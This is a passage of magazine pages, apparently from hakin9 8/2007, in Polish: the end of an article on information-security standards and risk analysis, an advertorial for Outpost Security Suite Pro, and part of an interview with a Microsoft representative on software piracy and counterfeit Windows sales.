który  zapewni  spełnienie  tych  wy-
magań, wdrożenie tego planu oraz
utrzymanie i administrowanie wdro-
żonymi  zabezpieczeniami.  Proces
ten  rozpoczyna  się  od  określenia
celów  i  strategii  instytucji  w  dzie-
dzinie  bezpieczeństwa  systemów
informatycznych  oraz  od  opraco-
wania  polityki  bezpieczeństwa  in-

O autorze

Andrzej  Guzik  –  audytor  systemów
zarządzania  jakością  i  bezpieczeń-
stwem  informacji,  specjalista  w  zakre-
sie  ochrony  informacji  prawnie  chro-
nionych,  redaktor  portalu  http://www.
ochronainformacji.pl
Kontakt z autorem: a.guzik@ochrona-
informacji.pl

Rysunek 2.

Model PDCA stosowany w procesach SZBI

Wykonuj

(Do)

Działaj

(Act)

Utrzymanie

i doskonalenie ISMS

Wdrożenie

i eksploatacja ISMS

Planuj

(Plan)

Sprawdzaj

(Check)

Ustanowienie

ISMS

Monitorowanie

i przegląd ISMS

Wymagania

i oczekiwania

dotyczące

bezpieczeństwa

informacji

Zainteresowane

strony

Zarządzanie

bezpieczeństwem

informacji

Zainteresowane

strony

Bezpieczeństwo informacji w polskich normach

hakin9 Nr 8/2007

www.hakin9.org

stytucji  w  zakresie  systemów  in-
formatycznych.  Ważną  częścią
procesu  zarządzania  bezpieczeń-
stwem  systemów  informatycznych
jest  oszacowanie  i  analiza  ryzyka,
ponieważ  w  oparciu  o  wyniki  ana-
lizy  ryzyka  dobiera  się  odpowied-
nie  zabezpieczenia.  Zastosowane
zabezpieczenia  powinny  być  opła-
calne, pod względem poniesionych
na  nie  kosztów  i  uwzględniać  wy-
magania  wynikające  z  przepisów
prawa, wymagania biznesowe i wy-
magania z analizy ryzyka zasobów
posiadających  wartość  dla  dzia-
łania  instytucji.  Ryzyko,  jakie  po-
wstaje po wprowadzeniu zabezpie-
czeń,  nazywamy  ryzykiem  szcząt-
kowym.  Również  dokument  polity-
ki bezpieczeństwa powinien zawie-
rać  m.  in.  podejście  do  zarządza-
nia  ryzykiem,  strategię  dla  analizy
ryzyka  i  części  składowe  tej  ana-
lizy  (metody  i  techniki).  Przyję-
ta  strategia  analizy  ryzyka  powin-
na  uwzględniać  warunki  charakte-
rystyczne  dla  jednostki  organiza-
cyjnej  i  koncentrować  się  na  dzia-
łaniach  związanych  z  bezpieczeń-
stwem,  tam  gdzie  są  one  napraw-
dę potrzebne. W raporcie przedsta-
wiono cztery warianty podejścia do
analizy  ryzyka:  podejście  podsta-
wowego  poziomu  bezpieczeństwa,
podejście  nieformalne,  szczegóło-
wą analizę ryzyka i podejście mie-
szane. Podstawowa różnica pomię-
dzy nimi dotyczy stopnia szczegó-
łowości  analizy  ryzyka.  Podejście
podstawowego  poziomu  bezpie-
czeństwa polega na wprowadzeniu
standardowych zabezpieczeń, nie-
zależnie od ryzyka wynikającego z
analizy zasobów, zagrożeń i podat-
ności. Podejście nieformalne pole-
ga  na  wykorzystaniu  wiedzy  i  do-
świadczenia ekspertów; koncentru-
je się na zasobach narażonych na
wysokie ryzyko. Z kolei szczegóło-
wa analiza ryzyka wymaga identy-
fikacji  i  wyceny  aktywów,  oszaco-
wania  zagrożeń  oraz  oszacowa-
nia  podatności.  Możliwość  czwar-
ta,  podejście  mieszane,  obejmu-
je  dwa  etapy.  W  pierwszym  eta-
pie  przeprowadza  się  ogólną  ana-
lizę ryzyka dla wszystkich zasobów

z uwzględnieniem ich wartości biz-
nesowej  i  ryzyka,  na  które  są  one
narażone.  Dla  wszystkich  zidenty-
fikowanych zasobów, które są waż-
ne dla instytucji i narażone na wy-
sokie  ryzyko,  należy  przeprowa-
dzić  później  szczegółową  analizę
ryzyka. W drugim etapie dla pozo-
stałych  zasobów  należy  zastoso-
wać  podejście  podstawowego  po-
ziomu  bezpieczeństwa.  Przyjęcie
podejścia  mieszanego  zalecane
jest  dla  większości  instytucji.  Jest
ono najbardziej efektywne – szcze-
gółowa analiza ryzyka w odniesie-
niu do zasobów posiadających war-
tość lub narażonych na wysokie ry-
zyko,  a  dla  pozostałych  zasobów
zastosowanie  podstawowego  po-
ziomu  bezpieczeństwa  –  wdroże-
nie  standardowych  zabezpieczeń.
Wdrożeniu  zabezpieczeń  powi-
nien towarzyszyć również program
uświadamiania  i  szkoleń,  ważny
dla uzyskania efektywności zabez-
pieczeń. Ponadto nie należy zapo-
minać  o  działaniach  po  wdrożeniu
zabezpieczeń.  Działania  te  powin-
ny obejmować m. in. konserwacje,
sprawdzenie zgodności z zasadami
bezpieczeństwa,  zarządzanie  za-
mianami,  monitorowanie  oraz  po-
stępowanie  w  przypadku  incyden-
tów.  Warto  również  zwrócić  uwa-
gę  na  załączniki  do  raportu.  Mają
one  charakter  praktyczny.  Załącz-
nik A zawiera przykład spisu treści
polityki  bezpieczeństwa  instytucji
w  zakresie  systemów  informatycz-
nych,  załącznik  B  omawia  wycenę
aktywów,  załącznik  C  przedstawia
listę kontrolną możliwych typów za-
grożeń,  załącznik  D  zawiera  przy-
kłady typowych podatności, zaś za-
łącznik  E  przykłady  wykorzystania
różnych metod analizy ryzyka.

Zarządzanie

bezpieczeństwem

informacji

Norma  PN-ISO/IEC  17799:  2007
Technika  informatyczna  –  Tech-
niki  bezpieczeństwa  –  Praktycz-
ne  zasady  zarządzania  bezpie-
czeństwem  informacji  jest  pierw-
szym  standardem  obejmującym
kompleksowo  zarządzanie  bezpie-

czeństwem  informacji.  Celem  tej
normy  jest  wdrożenie  takich  me-
chanizmów  zarządzania,  które  za-
pewnią,  że  bezpieczeństwo  infor-
macji  będzie  istotnym  elementem
funkcjonowania  organizacji.  Nor-
ma zawiera wytyczne zarządzania
bezpieczeństwem  informacji.  Do-
tyczy  wszystkich  obszarów  bez-
pieczeństwa:  fizycznego  i  środo-
wiskowego, osobowego, IT, zarzą-
dzenia  ciągłością  działania  i  za-
pewnienia  zgodności  z  przepisami
prawa. Zgodnie z ową normą, infor-
macja  jest  aktywem,  który  podob-
nie jak inne ważne aktywa bizneso-
we ma dla instytucji wartość i dla-
tego  należy  ją  odpowiednio  chro-
nić.  Dotyczy  to  zarówno  ochro-
ny  informacji  własnych  instytucji,
jak  i  zapewnienia  bezpieczeństwa
informacji  udostępnionych  przez
klienta.  Bezpieczeństwo  informa-
cji  oznacza  według  normy  ochro-
nę  informacji  przed  różnymi  za-
grożeniami w taki sposób, aby za-
pewnić  ciągłość  działania  –  reali-
zację  celów  statutowych  instytu-
cji,  zminimalizować  straty  i  zmak-
symalizować zwrot nakładów na in-
westycje  i  działania  o  charakterze
biznesowym. Norma odnosi się tyl-
ko do 3 aspektów informacji podle-
gających ochronie: poufności – za-
pewnienie  dostępu  do  informacji
tylko osobom upoważnionym, inte-
gralności – zapewnienie dokładno-
ści  i  kompletności  informacji  i  me-
tod  jej  przetwarzania,  dostępno-
ści  –  zapewnienia,  że  osoby  upo-
ważnione mają dostęp do informa-
cji i związanych z nią aktywów wte-
dy,  gdy  im  jest  to  potrzebne.  Nor-
ma PN-ISO/IEC 27001: 2007 Tech-
nika informatyczna – Techniki bez-
pieczeństwa  –  Systemy  zarządza-
nia  bezpieczeństwem  informacji
– Wymagania definiuje system za-
rządzania  bezpieczeństwem  infor-
macji  (SZBI).  Powinien  on  stano-
wić  część  składową  systemu  za-
rządzania  instytucją  i  być  oparty
na  podejściu  wynikającym  z  ryzy-
ka biznesowego. Norma zaleca po-
dejście  systemowe  oparte  na  cią-
głym  doskonaleniu,  zgodnie  z  cy-
klem  PDCA  (Plan-Do-Check-Act)

hakin9 Nr 8/2007

www.hakin9.org

Bezpieczna firma

Deminga obejmującym: ustanowie-
nie, wdrożenie, eksploatację, moni-
torowanie, przegląd, a także utrzy-
manie i doskonalenie SZBI.

Norma oparta jest podobnie

jak  norma  ISO  9001:  2000  i  nor-
ma ISO 14001: 2004 na zasadach
podejścia  procesowego.  Umożli-
wia  w  instytucji  budowę  zintegro-
wanego  systemu  zarządzania:  za-
rządzania jakością w oparciu o nor-
mę ISO 9001 i zarządzania bezpie-
czeństwem  informacji  w  oparciu  o
normę ISO 27001. Wdrożenie w in-
stytucji  zintegrowanego  systemu
zarządzania  może  przynieść  or-
ganizacji  szereg  korzyści:  pozwo-
li  objąć  systemem  wszystkie  ob-
szary  działania  firmy,  zwróci  uwa-
gę na ochronę informacji i jej war-
tość,  zwiększy  zainteresowanie
technologiami ICT, spowoduje pro-
wadzenie analizy i zarządzania ry-
zykiem,  zapewni  opracowanie  pla-
nów  ciągłości  działania,  przyczyni
się do uzyskania przewagi nad kon-
kurencją i poprawi wizerunek firmy.
W załączniku A do normy przedsta-
wiono  cele  stosowania  zabezpie-
czeń  i  zabezpieczenia,  które  na-
leży  wybrać  w  przypadku  podję-
cia decyzji o wdrożeniu w instytucji
SZBI.  Norma  może  być  przydatna
dla  każdej  organizacji,  niezależnie
od  wielkości  czy  branży,  niezależ-
nie  od  tego,  czy  instytucja  będzie
ubiegać się o certyfikację systemu
zarządzania  bezpieczeństwem  in-
formacji, czy nie.

Wspólne Kryteria

Warto  wspomnieć  również  o  nor-
mie  ISO/IEC  15408.  Norma  skła-
da się z trzech części, z czego na
język polski przetłumaczono pierw-
szą  i  trzecią  część,  odpowiednio
PN-ISO/IEC  15408-1:  2002  Tech-
nika  informatyczna  –  Techniki  za-
bezpieczeń  –  Kryteria  oceny  za-
bezpieczeń informatycznych Część
1:  Wprowadzenie  i  model  ogólny  i
PN-ISO/IEC  15408-3:  2002  Tech-
nika  informatyczna  –  Techniki  za-
bezpieczeń  –  Kryteria  oceny  za-
bezpieczeń informatycznych Część
3: Wymagania uzasadnienia zaufa-
nia  do  zabezpieczeń.  Nie  przetłu-

maczono części drugiej, ISO/IEC
15408-2 Security functional re-

quirements  (Wymagania  funkcjo-
nalne  zabezpieczeń).  W  normie
PN-ISO/IEC  15408-1  przedsta-
wiono  terminologię  używaną  we
wszystkich  częściach  normy.  Za-
warto zasady oceny systemów za-
bezpieczeń oraz ogólny model, na
którym  taka  ewaluacja  może  być
oparta.  W  załączniku  A  do  normy
opisano  projekt  Wspólnych  Kryte-
riów,  w  załączniku  B  przedstawio-
no  specyfikację  profili  zabezpie-
czeń,  a  w  załączniku  C  specyfika-
cję zadań zabezpieczeń. Zgodnie z
normą, profil zabezpieczeń definio-
wany  jest  przez  niezależny  od  im-
plementacji zbiór wymagań na za-
bezpieczenia teleinformatyczne dla
określonego  typu  przedmiotu  oce-
ny.  Zadanie  zabezpieczeń  zawie-
ra  natomiast  wymagania  w  zakre-
sie  bezpieczeństwa  dla  konkret-
nego  przedmiotu  oceny  i  stano-
wi  podstawę  takiej  ewaluacji.  Za-
danie  zabezpieczeń  może  zawie-
rać  wymagania  lub  być  zgodne  z
jednym  lub  wieloma  profilami  za-
bezpieczeń. W części trzeciej nor-
my ISO/IEC 15408-3 zdefiniowano
wymagania uzasadnienia zaufania.
Przedstawiono kryteria oceny pro-
filu zabezpieczeń i zadania zabez-
pieczeń, a także wprowadzono po-
ziomy  uzasadnienia  zaufania  EAL
(Evaluation  Assurance  Levels),
które wskazują skalę do określenia
tych poziomów (miarę wiarygodno-
ści). Wynikiem oceny systemu (pro-
duktu) informatycznego według za-
leceń  Common  Criteria  jest  doku-
ment stwierdzający:

•

zgodność tego systemu z okre-
ślonym profilem zabezpieczeń,

•

spełnienie  wymagań  bezpie-
czeństwa  określonych  w  zada-
niach  zabezpieczenia  lub  przy-
pisanie do konkretnego poziomu
uzasadnionego zaufania (EAL).

Wykrywanie włamań

Na  koniec  warto  wspomnieć  o  ra-
porcie  technicznym  ISO/IEC  TR
15947:  2002  Technika  informatycz-
na – Techniki zabezpieczeń – Struk-

tura  wykrywania  włamań  w  syste-
mach  teleinformatycznych.  Raport
ten stanowi kompendium wiedzy na
temat wykrywania włamań w syste-
mach  teleinformatycznych.  Zapre-
zentowano  w  nim  nie  tylko  ogólny
system  wykrywania  włamań,  ale
scharakteryzowano  również  typy  i
źródła danych wejściowych, w opar-
ciu  o  które  konstruuje  się  modele
reakcji  tych  systemów  na  określo-
ne zdarzenia. Szczegółowo opisano
działania podejmowane w odpowie-
dzi  na  wykrycie  włamania.  Raport
zawiera wiele cennych danych przy-
datnych osobom, które są odpowie-
dzialne  za  bezpieczeństwo  sieci
korporacyjnych.  Może  być  również
dobrym źródłem informacji dla pro-
jektantów  i  osób,  zajmujących  się
systemami wykrywania włamań.

Podsumowanie

Polskie  normy  dotyczące  bez-
pieczeństwa  informacji  stanowią
tłumaczenie  dokumentów  ISO.
Oprócz  norm  International  Orga-

nization  for  Standardization  istnie-
je  szereg  zaleceń  zawierających
wytyczne  w  zakresie  ochrony  sys-
temów  teleinformatycznych  o  za-
sięgu  lokalnym  dotyczącym  kraju,
grupy  krajów  lub  grupy  użytkowni-
ków,  np.  Internetu.  Dokumenty  te-
go typu stanowią cenne uzupełnie-
nie  norm  ISO  i  IEC  (International

Electrotechnical  Commission).  W
polskich  warunkach  mamy  zwykle
do  czynienia  z  konglomeratem  kil-
ku  tajemnic  prawnie  chronionych  i
informacji  biznesowych  chronio-
nych  we  własnym  interesie.  Tylko
niektóre z nich (dane osobowe, in-
formacje  niejawne)  mają  przepi-
sy wykonawcze, wymagania w za-
kresie  ochrony.  Większość  z  nich
nie  określa  wymagań,  jak  je  chro-
nić,  a  chronić  je  należy.  W  przy-
padku  tych  tajemnic,  dla  których
brak wymagań i wytycznych w za-
kresie ochrony, pomocne mogą być
standardy,  zalecenia  i  polskie  nor-
my  dotyczące  bezpieczeństwa  in-
formacji, które stanowią źródło tzw.
dobrych praktyk. Zachęcam do za-
poznania się z nimi i praktycznego
ich stosowania. l

OUTPOST SECURITY SUITE

– Nowy Pakiet Bezpieczeństwa Dla Wymagających

Outpost Security Suite Pro jest pierwszym w historii fir-
my Agnitum proaktywnym pakietem typu Internet se-
curity. Program powstał na bazie znanego i cenione-
go na całym świecie Outpost Firewall Pro, który uzu-
pełniono o moduł antywirusowy oraz filtr antyspamo-
wy. Pakiet zapewnia stacjom roboczym pełną ochronę
przed skutkami aktywności koni trojańskich, wirusów,
robaków czy też programów typu spyware. Dodatko-
wo Outpost Security Suite dysponuje specjalnym mo-
dułem,  który  zabezpiecza  go  przed  deaktywacją  lub
zablokowaniem wybranych funkcji  przez złośliwe pro-
gramy. Ważną cechą pakietu jest proaktywność, dzię-
ki  której  użytkownik  jest  chroniony  przed  nowymi,
jeszcze nierozpoznanymi zagrożeniami.

ZNANY I SKUTECZNY
PERSONAL FIREWALL

Firewall, będący fundamentem pakietu, monitoruje
wszystkie połączenia z komputerem użytkownika.
W razie wykrycia ataku lub próby nawiązania nie-
autoryzowanego połączenia przez samą stację ro-
boczą program automatycznie blokuje zagrożenie
oraz powiadamia użytkownika o zaistniałym zda-
rzeniu. Dodatkową ochronę zapewnia pełna bloka-
da portów, dzięki której komputer użytkownika sta-
je się niewidoczny dla innych użytkowników sieci.
Outpost Security Suite Pro zabezpiecza przed ata-
kami wewnątrz sieci LAN, eliminuje ryzyko prze-
chwycenia informacji wrażliwych oraz chroni przed
skutkami działań pułapek phishingowych.

INNOWACYJNY SILNIK SKANUJĄCY

Ważnym elementem Outpost Security Suite jest in-
nowacyjny silnik skanujący, który wykrywa wiru-
sy, robaki oraz inne złośliwe programy. Powstał on w

oparciu o ulepszoną technologię na licencji VirusBu-
ster – węgierskiego producenta rozwiązań antywiru-
sowych, który wielokrotnie uzyskał w prestiżowych
testach Virus Bulletin nagrodę 100%. Skaner wypo-
sażono  w  technologię  SmartScan,  która  optymali-
zuje  proces  sprawdzania  nośników  oraz  załączni-
ków poczty elektronicznej w poszukiwaniu wirusów.
Dzięki  SmartScan  użytkownik  może  zlecić  progra-
mowi sprawdzanie wyłącznie nowych zbiorów oraz
plików, które uległy modyfikacji od momentu ostat-
niego skanowania, co w znaczący sposób przyspie-
sza cały proces.

Outpost Security Suite dysponuje również sku-

teczną ochroną antyspamową opartą na inteligent-
nym filtrze Bayesa, który stopniowo uczy się roz-
poznawać, które z otrzymywanych wiadomości
elektronicznych są spamem, a które nie.

STWORZONY Z MYŚLĄ
O WYGODZIE UŻYTKOWNIKA

Firma Agnitum zadbała by jej nowy produkt był nie
tylko skuteczny, ale też prosty w obsłudze. Z myślą
o wygodzie użytkownika zautomatyzowano i mak-
symalnie  uproszczono  cały  proces  instalacji  oraz
konfiguracji  programu.  Dodatkowo  Outpost  Securi-
ty Suite, podobnie jak Outpost Firewall Pro dysponu-
je usługą ImproveNet - społecznością, którą tworzą
użytkownicy programów Agnitum oraz eksperci bez-
pieczeństwa z tej firmy. Dołączając do programu Im-
proveNet  użytkownik  może  automatycznie  korzy-
stać  z  gotowych  szablonów  reguł  udostępnianych
przez firmę Agnitum. Zaktualizowane reguły dystry-
buowane  są  codziennie  dzięki  czemu  konieczność
ręcznego ustawiania zabezpieczeń programu zosta-
je  zredukowana  do  minimum.  Dodatkową  pomocą
dla niedoświadczonych użytkowników jest system
SmartAdvisor podpowiadający, który program powi-
nien otrzymać zezwolenie na połączeni się z siecią,
a który takiego dostępu mieć nie powinien.

Kolejnym rozwiązaniem stworzonym z myślą

o wygodzie użytkownika jest tzw. tryb cichy. Dzię-
ki niemu Outpost Security Suite rozpoznaje, kiedy na
stacji roboczej uruchomiono program multimedial-

ny, a następnie automatycznie zmienia swoje usta-
wienia tak, aby nie przeszkadzać w rozrywce i nie
wyświetlać standardowych alertów. Zagrożenia, któ-
re zostaną w tym czasie wykryte są automatycznie
zabezpieczane i stają się widoczne dla użytkownika
dopiero po wyłączeniu multimediów. Decyzję, które
programy mają być traktowane przez pakiet jako
multimedialne podejmuje sam użytkownik.

Zaawansowani użytkownicy, którzy wymaga-

ją  od  programów  typu  Internet  security  profesjo-
nalnej  i  pewnej  ochrony  będą  usatysfakcjonowa-
ni nie tylko funkcjonalnością i sposobem działania
programu,  ale  również  rozbudowanym  systemem
opcji oraz dostępem do szczegółowej bazy danych
zawierającej informacje o ruchu w sieci. Precyzyj-
ne oraz co ważniejsze szybkie wyszukiwanie kon-
kretnych informacji o połączeniach zapewnia wbu-
dowany system filtrów.

Wyłącznym dystrybutorem Outpost Securi-

ty Suite oraz innych programów firmy Agnitum na
terenie  Polski  jest  Dagma.  Firma  wprowadziła  już
do sprzedaży Outpost Security Suite w angielskiej
wersji  językowej.  Równocześnie  programiści  Dag-
my  przystąpili  do  prac  nad  spolszczeniem  pakie-
tu. Po ich ukończeniu użytkownicy angielskiej wer-
sji Outpost Security Suite będą mogli skorzystać z
bezpłatnej migracji do polskiej wersji językowej.

Dodatkowe informacje:
Dagma sp. z o.o.
Tel. 32 259 11 00
www.outpost.pl

Kontakt:

Reklama

Firma Agnitum, producent wielokrotnie nagradzanego Outpost Firewalla Pro,

wprowadziła do sprzedaży pełną wersję nowego produktu, pakietu typu

Internet Security – Outpost Security Suite Pro.

hakin9 Nr 8/2007

www.hakin9.org

Wielkiej Brytanii, w Polsce czy Niemczech. Cena jest ta
sama. Różnice mogą wynikać tu tylko z odmiennych cen
systemów podatkowych w różnych krajach, natomiast ce-
na bazowa, cena dystrybucyjna wszędzie jest taka sama.

h9:

Czy Microsoft planuje w Polsce obniżenie cen, co

mogłoby wpłynąć na poprawę sytuacji?

KJ:

Jak już mówiłem, ceny są ustalone odgórnie po-

przez regulacje między narodowe. Owszem czasami mo-
gą mieć miejsce jakieś promocje, ale nie są to jakieś bar-
dzo duże upusty. Mogą to być promocje rzędu kilku pro-
cent upustu od cen standardowych.

h9:

Czy na przestrzeni ostatnich lat/miesięcy firma Mi-

crosoft zauważyła zmiany w ilości przestępstw tego typu?

KJ:

Wydaje mi się, że można zaryzykować stwierdze-

nie, że mamy do czynienia z tendencją pozytywną. Z jed-
nej strony badania robione na zlecenie BSA raz do roku, z
drugiej strony wyniki sprzedaży. Nie tylko Microsoft, ale i
inni producenci wykazują w tym sektorze wzrosty i to do-
syć duże. Należy w związku z tym sądzić, że mimo faktu,
że cały rynek sprzętu komputerowego odczuwa wzrost,
nieco większy jednak wzrost obserwujemy w przypadku
oprogramowania. Przekłada się to na zmniejszenie ska-
li piractwa.

h9:

Czy po akcji z oprogramowaniem wyświetlającym

informacje o nielegalnym oprogramowaniu firma Micro-
soft odnotowała zauważalny wzrost zysków ?

KJ:

Z pewnością tak! Tutaj trudno jeszcze mówić

o  statystykach,  trudno  mówić  o  konkretnych  liczbach,
natomiast notyfikacja WGA, czyli system powiadamia-
nia o tym, czy pracujemy na legalnym czy też nielegal-
nym  systemie  operacyjnym  wprowadzona  została  w
Polsce już ponad rok temu. Polska była jednym z kra-
jów  objętym  taką  akcją  pilotażową.  Było  to  kilka  kra-
jów w skali całego świata, a przyjęło się to rozwiąza-
nie  dobrze  nie  tylko  u  nas.  Efekty  tego  są  jak  najbar-
dziej  pozytywne,  stąd  obecnie  tego  rodzaju  komuni-
katy  może  spotkać  użytkownik  każdej  wersji  języko-
wej na całym świecie. Z pewnością z jednej strony pod-
nosi to popyt na licencjonowane systemy operacyjne, z
drugiej zaś przekłada się na bezpieczeństwo użytkow-
ników.  Musimy  pamiętać  o  tym,  że  piractwo  czy  pira-
ci to już dziś nie to samo, co początki tego zjawiska w
odniesieniu  do  oprogramowania  komputerowego.  Co-
raz  więcej  dostawców  nielegalnego  oprogramowania
to przestępcy bądź grupy przestępcze. Analizy nośni-
ków czy oprogramowania ściąganego nielegalnie z In-
ternetu  wykazują,  że  w  nieświadomy  sposób  naraża-
my  się  na  ogromne  niebezpieczeństwo.  Czynimy  tak,
instalując  programy  niewiadomego  pochodzenia,  po-
nieważ  w  dużej  mierze  są  to  programy,  do  których  w
sposób  zamaskowany  dołączane  są  różnego  rodzaju
złośliwe  kody,  niechciane  aplikacje,  programy  szpie-
gowskie, wirusy i konie trojańskie. Może to prowadzić
do  przejęcia  kontroli  nad  komputerem  nieświadome-
go  użytkownika,  który  chciał  zaoszczędzić,  sięgając
po oprogramowanie z niepewnego źródła. Korzystając
z okazji, chciałbym też przestrzec użytkowników aukcji

internetowych, bo z jednej strony badania ogólnoświa-
towe,  które  głównie  skoncentrowały  się  na  aukcjach
portalu  E-bay,  wykazują,  że  szansa  na  zakup  orygi-
nalnego oprogramowania Microsoft jest tu mniejsza niż
50%.  A  zatem  cała  reszta  oferowanych  tu  produktów
(ponad połowa tego typu oprogramowania) jest podro-
biona  bądź  piracka.  W  przypadku  polskich  portali  au-
kcyjnych muszę przyznać, że od paru tygodni przeży-
wamy wręcz oblężenie związane z tzw. usługą identyfi-
kacji produktu. Otóż kilka lat temu, w związku z pojawie-
niem się dobrej jakości podróbek, tzn. takich, gdzie na-
bywca mógł sądzić, że kupuje produkt oryginalny, uru-
chomiliśmy  wspomniany  serwis  identyfikacji  produktu.
Osoba, która ma podejrzenie, że została w ten sposób
oszukana, może zwrócić się do nas w sposób określony
na stronie internetowej i po spełnieniu określonych wa-
runków ma szansę otrzymać oryginalny pakiet. I tak jak
powiedziałem, w tej chwili przeżywamy niemal oblęże-
nie, nie ma dnia, abyśmy nie otrzymali skarg bądź prze-
syłek od klientów, którzy kupują niestety głównie na Al-
legro, ale nie tylko. Kupują oni często na aukcjach in-
ternetowych oprogramowanie, które według zapewnień
dostawców  jest  w  100%  oryginalne,  instaluje  się  na
wszystkich  komputerach  etc.  Później  okazuje  się  jed-
nak, że klienci mają do czynienia ze wspomnianymi ko-
munikatami, co dalej skutkuje tym, że mają zablokowa-
ny dostęp do pewnych uaktualnień, do pełnych korzyści
płynących z oryginalnego systemu operacyjnego. Skala
tego zjawiska świadczy o tym, że wspomniane już gru-
py przestępców, bo trudno ich wciąż nazywać roman-

tycznymi piratami, w coraz większym stopniu opanowu-
ją ten rynek – nie do końca oficjalny. Mamy do czynie-
nia np. z podróbkami polskiej wersji językowej systemu
Windows  XP  Professional.  Przestrzegam  przed  zaku-
pem wersji dedykowanych do producentów konkretnych
komputerów, takich jak Dell, Fujitsu-Siemens, Optimus.
Takie  pakiety  łatwiej  jest  podrobić  niż  płyty  Microso-
ftu opatrzone hologramem na całej powierzchni. Mogę
już niestety z całą pewnością stwierdzić, że wśród tych
ofert duża część dotyczy podróbek. A skutkuje to tym,
co  już  powiedziałem,  że  albo  klient  nie  może  w  ogó-
le zainstalować takiego programu na swoim kompute-
rze, albo po pewnym czasie w wyniku weryfikacji ory-
ginalności systemu okazuje się, że ma odcięty dostęp
do pewnych uaktualnień, pewnych ofert dostępnych dla
użytkowników licencjonowanych systemów.

h9:

Co się dzieje z osobami, u których wykryto niele-

galne oprogramowanie tj. jeżeli są nakładane kary finan-
sowe, to jakiego rzędu i czy za starsze wersje systemów
są nakładane inne/niższe kary?

KJ:

Absolutnie nie! Nie prowadzimy tzw. polityki re-

presyjnej.  Jedyne,  co  możemy  zrobić,  to  odcięcie  użyt-
kowników nielegalnego oprogramowania od pewnych ko-
rzyści. Nie prowadzimy, nie inicjujemy ani nie wnioskuje-
my o wszczęcie postępowań wobec użytkowników indy-
widualnych.  Przedstawiciele  pokrzywdzonych,  czyli  tak
naprawdę  BSA,  organizacja  która  reprezentuje  interesy

Wywiad

hakin9 Nr 8/2007

www.hakin9.org

Microsoft Corporation i innych światowych producentów
oprogramowania składa wnioski o ściganie wtedy, kie-
dy mamy doczynienia z przestępstwem na większą ska-
lę. Dzieje się tak np. wtedy, gdy jest to firma, która na kil-
kudziesięciu stanowiskach używa nielegalnego oprogra-
mowania pochodzącego od różnych producentów bądź
są to osoby, które rozpowszechniają nielegalne oprogra-
mowanie.

h9:

Jak się układa współpraca Microsoftu z policją/

służbami, które mają zwalczać nielegalne oprogramo-
wanie?

KJ:

Ta współpraca ma charakter trwały i stały od wie-

lu lat. Wymieniamy się informacjami, udostępniamy policji
informacje na temat tego, w jaki sposób odróżniać opro-
gramowanie oryginalne od podrobionego, w jaki sposób
odróżniać oprogramowanie legalne od nielegalnego. Jest
to wiedza, która wymaga stale uaktualnienia, w związku
z tym konsekwentnie organizujemy szkolenia dla policji,
dla służb celnych. Czasami bierzemy też udział w semi-
nariach dla prokuratorów i sędziów.

h9:

Jaki jest poziom wiedzy dotyczący technologii so-

ftware' owych w policji?

KJ:

Powiedziałbym, że jest coraz wyższy, czasami

nawet zaskakująco wysoki. No cóż, wypada jedynie po-
gratulować tym ludziom, którzy pracują w policji i są świet-
nymi znawcami różnych tajników nowych technologii.

h9:

Jak wygląda poziom piractwa na świecie ? Na ja-

kim miejscu plasuje się Polska?

KJ:

Jeśli chodzi o Europę, jesteśmy gdzieś w środ-

ku, – skala europejska to 34%. – tutaj też mamy jedno-
procentowy spadek. W Polsce wartość ta wynosi 57%.
Na świecie, o ile dobrze pamiętam, średnia znajduje się
gdzieś w okolicach 35% – także tutaj Polska znajduje
się zatem w peletonie, w grupie środkowej. Nie jesteśmy
ani liderami, ani też nie plasujemy się na samym końcu
tej niechlubnej klasyfikacji. Jeśli zaś chodzi o samą Eu-
ropę, to tutaj wypadamy dużo gorzej. Jeżeli weźmiemy
pod uwagę jedynie kraje Unii Europejskiej, to niewiele
z nich może się poszczycić większym osiągnięciem niż
owe 57%. Jedynie Grecja, Rumunia i Bułgaria, czyli je-
den ze starszych członków wspólnoty i dwa nowe w jej
strukturach państwa wyprzedzają, nas w tej niechlub-
nej klasyfikacji.

h9:

Jakie są prognozy dotyczące piractwa kompute-

rowego w Polsce i na świecie na najbliższe 10 lat?

KJ:

Biorąc pod uwagę wszelkie uwarunkowania

ekonomiczne,  a  nawet  i  sportowe  (  przyznanie  Pol-
sce  i  Ukrainie  organizacji  Euro  2012)  oraz  trendy  ryn-
kowe, wydaje mi się, że można być optymistą. Przewi-
duję, że będziemy mieli tutaj do czynienia ze stałą ten-
dencją spadkową. Na ile ten spadek będzie dynamiczny,
naprawdę trudno prorokować, ale wydaje mi się, że je-
steśmy na dobrej drodze. Na pewno nie jesteśmy w sy-
tuacji, w której możemy wpaść w samozachwyt i włożyć
ręce  do  kieszeni.  Pracy  wciąż  jest  bardzo  dużo.  Fakt,
że grubo ponad połowa oprogramowania używanego w
Polsce to wciąż oprogramowanie nielegalne powoduje,

że musimy ciężko pracować nad tym, by zmienić wize-
runek Polski w Europie i świecie. Pamiętajmy o tym, że
kraje, w których własność intelektualna nie jest szano-
wana są mimo wszystko mało atrakcyjne dla potencjal-
nych inwestorów. Owszem w Polsce mamy do czynie-
nia z coraz większą aktywnością inwestorów zagranicz-
nych, ale mogę z całym przekonaniem stwierdzić, że
gdyby owo poszanowanie własności intelektualnej było
u nas większe, to i przypływ inwestycji byłby dużo bar-
dziej odczuwalny. Przekłada się to bezpośrednio i po-
średnio na poziom życia nas wszystkich. Są to bowiem
nowe miejsca pracy oraz pokaźne pieniądze, które po-
jawiają się na naszym rynku i przepływają przez kiesze-
nie obywateli, a także znaczne sumy trafiające do bu-
dżetu. To wszystko w efekcie ma decydujący wpływ na
nasz poziom życia. Wypada więc tylko tę tendencję pod-
trzymać.

Należy starać się, żeby poszanowanie własności in-

telektualnej  było  przynajmniej  zbliżone  do  poszanowa-
nia  własności  dóbr  materialnych.  Jeżeli  kogokolwiek  na
ulicy zapytamy, czy kradzież roweru czy samochodu jest
naganna, to podejrzewam, że grubo ponad 90% zapyta-
nych odpowie, że tak. Jeśli jednak zapytamy, czy ściąga-
nie  nielegalnych  plików  z  Internetu  albo  kupowanie  płyt
na  bazarze  jest  akceptowalne,  to  obawiam  się,  że  przy-
najmniej połowa z nich może mieć poważne wątpliwości
bądź wręcz stwierdzić, że to nic nagannego. To jest chy-
ba wciąż pokłosie życia w minionym już systemie komuni-
stycznym, gdzie radzenie sobie z różnego rodzaju zakaza-
mi było przejawem niemalże inteligencji, sprytu, zaradno-
ści, a kwestie moralne nie miały wtedy większego znacze-
nia. W tej chwili wygląda to jednak inaczej. Krótko mówiąc,
warto być uczciwym.

Na zakończenie chciałbym podać do wiadomości

